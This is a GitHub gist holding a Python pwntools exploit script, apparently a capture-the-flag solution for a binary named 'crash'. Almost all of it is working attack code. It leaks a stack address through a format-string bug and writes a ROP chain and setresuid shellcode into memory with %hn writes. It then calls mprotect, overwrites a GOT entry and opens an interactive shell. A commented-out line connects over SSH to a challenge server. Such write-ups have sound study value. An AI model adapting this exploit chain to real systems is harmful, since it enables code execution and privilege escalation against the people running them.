Created
July 16, 2013 00:17
-
-
Save kristoff3r/6004722 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import time, sys | |
context('i386', 'linux') | |
# Useful addresses | |
gets = 0x08049376 | |
bss = 0x08139d80 # This might be the .data section, we tried a few places and this works | |
mprotect = 0x80a56c0 | |
pop35ret = 0x804fd95 | |
leaveret = 0x8048f39 | |
quit = 0x081380a4 | |
# Generate ROP chain | |
r = ROP('crash') | |
r.call(mprotect, [0x08139000, 0x1000, 0x7]) | |
r.call(bss + 0x50) | |
chain = r.flush() | |
# Generate shellcode + 8 NOPs for alignment purposes | |
shellcode = asm(shellcode.setresuidsh()) + p8(0x90) | |
# Functions for reading and writing at arbitrary addresses | |
def leak(where): | |
return 'dec {0}\necho %25$a\n'.format(where) | |
def write_(what, where): | |
return 'dec {0}\necho %.{1}u%25$hn\n'.format(where[2:], what) | |
# Exploit | |
proc = process('crash') | |
#proc = ssh('188.40.147.115', 'challenge', 'challenge').shell(tty = False) | |
proc.recvuntil('craSH-> ') | |
# Initial leak, in order to defeat stack randomization | |
proc.send('echo %6$x\n') | |
proc.recvline() | |
saved_ebp = int(proc.recvline().strip(), 16) | |
print hex(saved_ebp) | |
# Write the ROP chain at the .bss section | |
for i in range(0, len(chain), 2): | |
proc.send(write_(u16(chain[i:i+2]), hex(bss+i))) | |
proc.recvuntil('craSH-> ') | |
# Write the shellcode a bit further down | |
for i in range(0, len(shellcode), 2): | |
proc.send(write_(u16(shellcode[i:i+2]), hex(bss+0x50+i))) | |
proc.recvuntil('craSH-> ') | |
# This part is a bit dodgy, but it seemed like a good idea at the time (4am :D) | |
# We write the first part of the ROP directly into the stack which we leaked at the | |
# beginning at a seemingly random place. It turns out, however, that it is far enough | |
# up the stack that it doesn't break the program flow, and we have a gadget which pops exactly | |
# to this place. | |
proc.send(write_(0x9d7c, hex(saved_ebp + 92))) | |
proc.send(write_(0x0813, hex(saved_ebp + 94))) | |
proc.send(write_(0x8f39, hex(saved_ebp + 96))) | |
proc.send(write_(0x0804, hex(saved_ebp + 98))) | |
# Next, we overwrite the quit address in the GOT to point to our gadget. | |
# Then, when we call quit, the stack points directly at the ROP, which is simply | |
# a leave-ret gadget which transfers control to the main ROP chain. | |
proc.send(write_(0x0804, hex(quit+2))) | |
proc.send(write_(0xfd95, hex(quit))) | |
# And now, we quit and get shell. | |
proc.send('quit\n') | |
proc.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment